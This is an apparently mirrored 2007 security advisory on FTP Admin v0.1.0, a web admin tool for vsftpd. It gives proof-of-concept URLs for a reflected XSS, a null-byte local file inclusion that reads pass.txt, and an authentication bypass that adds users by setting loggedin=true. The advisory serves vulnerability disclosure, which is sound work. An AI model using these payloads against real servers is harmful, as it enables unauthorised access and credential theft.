FTP Admin 0.1.0 (LFI/XSS/AB) Multiple Remote Vulnerabilities

🗓️ 30 Nov 2007 00:00:00Reported by RootType

FTP Admin v0.1.0 Multiple Remote Vulnerabilities - Web-based user admin tool for vsftpd. LFI and XSS issue


                                                FTP&nbsp;Admin&nbsp;v0.1.0&nbsp;-&nbsp;MULTIPLE&nbsp;VULNERABILITIES
	by&nbsp;Omni

1)&nbsp;Infos
---------
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;2007-11-28
Product&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;FTP&nbsp;Admin
Version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;v0.1.0
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://sourceforge.net/projects/ftpadmin/
Vendor&nbsp;Status&nbsp;&nbsp;&nbsp;:&nbsp;2007-11-30&nbsp;Informed!

Description&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;FTP&nbsp;admin&nbsp;is&nbsp;a&nbsp;web-based&nbsp;user&nbsp;administration&nbsp;tool,&nbsp;for&nbsp;usage&nbsp;in&nbsp;combination&nbsp;with&nbsp;vsftpd.&nbsp;FTP&nbsp;admin
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;requires&nbsp;sudo.&nbsp;Features&nbsp;include&nbsp;modification&nbsp;of&nbsp;users&nbsp;and&nbsp;generation&nbsp;of&nbsp;user&nbsp;passwords.

Source&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;omnipresent&nbsp;-&nbsp;omni
E-mail&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;omnipresent[at]NOSPAMemail[dot]it&nbsp;-&nbsp;omni[at]NOSPAMplayhack[dot]net
Team&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Playhack.net&nbsp;Security

2)&nbsp;Security&nbsp;Issues
-------------------

---&nbsp;[&nbsp;XSS&nbsp;]&nbsp;---
===============================================

I&nbsp;think&nbsp;that&nbsp;is&nbsp;better&nbsp;let&nbsp;you&nbsp;see&nbsp;a&nbsp;PoC&nbsp;instead&nbsp;of&nbsp;explain&nbsp;where&nbsp;is&nbsp;the&nbsp;bug..&nbsp;If&nbsp;you&nbsp;want&nbsp;to&nbsp;know&nbsp;it&nbsp;just&nbsp;look&nbsp;at&nbsp;the&nbsp;
source&nbsp;code.

---&nbsp;[&nbsp;PoC&nbsp;]&nbsp;---
===============

http://localhost/ft/index.php?page=error&amp;error=&lt;b&gt;...&lt;/b&gt;
http://localhost/ft/index.php?page=error&amp;error=&lt;script&gt;alert(1)&lt;/script&gt;


---&nbsp;[&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;]&nbsp;---
================================

Take&nbsp;a&nbsp;look&nbsp;in&nbsp;index.php,&nbsp;line&nbsp;49:
include(&quot;$page.php&quot;);

Remembe&nbsp;that&nbsp;you&nbsp;have&nbsp;to&nbsp;log&nbsp;in&nbsp;to&nbsp;made&nbsp;local&nbsp;file&nbsp;inclusion&nbsp;(loggedin&nbsp;=&nbsp;true&nbsp;-&gt;&nbsp;register_global&nbsp;=&nbsp;On)

[&nbsp;Remembe&nbsp;that&nbsp;]
if(!is_file($page&nbsp;.&nbsp;&quot;.php&quot;)&nbsp;||&nbsp;(!is_readable($page&nbsp;.&nbsp;&quot;.php&quot;)))&nbsp;{
		$page&nbsp;=&nbsp;&quot;error&quot;;
		$error&nbsp;=&nbsp;&quot;Page&nbsp;does&nbsp;not&nbsp;exist&nbsp;or&nbsp;is&nbsp;not&nbsp;readable\n&quot;;
	}
}
[&nbsp;/Remembe&nbsp;that&nbsp;]

---&nbsp;[&nbsp;PoC&nbsp;]&nbsp;---
===============

http://localhost/ft/index.php?page=pass.txt%00&amp;loggedin=true

To&nbsp;see&nbsp;pass.txt&nbsp;...

---&nbsp;[&nbsp;Admin&nbsp;Bypass&nbsp;]&nbsp;---
================================

Today&nbsp;I'm&nbsp;too&nbsp;lazy&nbsp;to&nbsp;explain&nbsp;what's&nbsp;wrong..&nbsp;so&nbsp;take&nbsp;a&nbsp;look&nbsp;in&nbsp;the&nbsp;source&nbsp;code&nbsp;and&nbsp;watch&nbsp;the&nbsp;var&nbsp;$loggedin&nbsp;!!

---&nbsp;[&nbsp;PoC&nbsp;]&nbsp;---
===============

To&nbsp;add&nbsp;a&nbsp;user...

http://localhost/ft/index.php?page=add&amp;loggedin=true

30 Nov 2007 00:00Current

7.1High risk

Vulners AI Score7.1